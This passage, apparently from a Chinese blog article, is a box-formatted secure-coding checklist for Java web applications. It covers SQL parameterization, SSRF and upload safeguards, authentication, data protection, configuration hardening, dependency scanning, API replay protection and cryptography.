│ □ 所有 SQL 使用预编译 / #{},禁止字符串拼接 │
│ □ 用户输入:校验 → 清洗 → 编码 │
│ □ 文件上传:白名单 + 魔数校验 + 重命名 + 非 Web 目录 │
│ □ SSRF:协议白名单 + 域名白名单 + 禁内网 IP │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 认证与授权 │
│ □ 密码用 BCrypt/Argon2 存储 │
│ □ Session 登录后重新生成 │
│ □ Cookie 设置 HttpOnly + Secure + SameSite │
│ □ JWT 设置过期 + 强密钥 + 黑名单机制 │
│ □ 所有接口做权限校验(后端) │
│ □ 水平/垂直越权校验 │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 数据安全 │
│ □ 敏感数据加密存储 │
│ □ 日志中无敏感信息 │
│ □ API 响应无敏感字段 │
│ □ 密钥不硬编码 │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 配置安全 │
│ □ 生产环境关闭调试模式 │
│ □ 使用安全 Header │
│ □ Actuator 只暴露 health/info │
│ □ 异常信息不返回客户端 │
│ □ CORS 严格限定来源 │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 依赖安全 │
│ □ 依赖定期扫描(OWASP / Snyk) │
│ □ 及时更新已知漏洞依赖 │
│ □ CI/CD 集成安全检查 │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 接口安全 │
│ □ 敏感操作做幂等 + 防重放 │
│ □ 验证码一次性使用 + 频率限制 │
│ □ 关键业务参数从后端获取 │
│ □ 竞态条件防护(乐观锁/悲观锁/分布式锁) │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 加密安全 │
│ □ 弱加密算法全部替换 │
│ □ 安全场景用 SecureRandom │
└─────────────────────────────────────────────────────────────────┘
更多推荐





所有评论(0)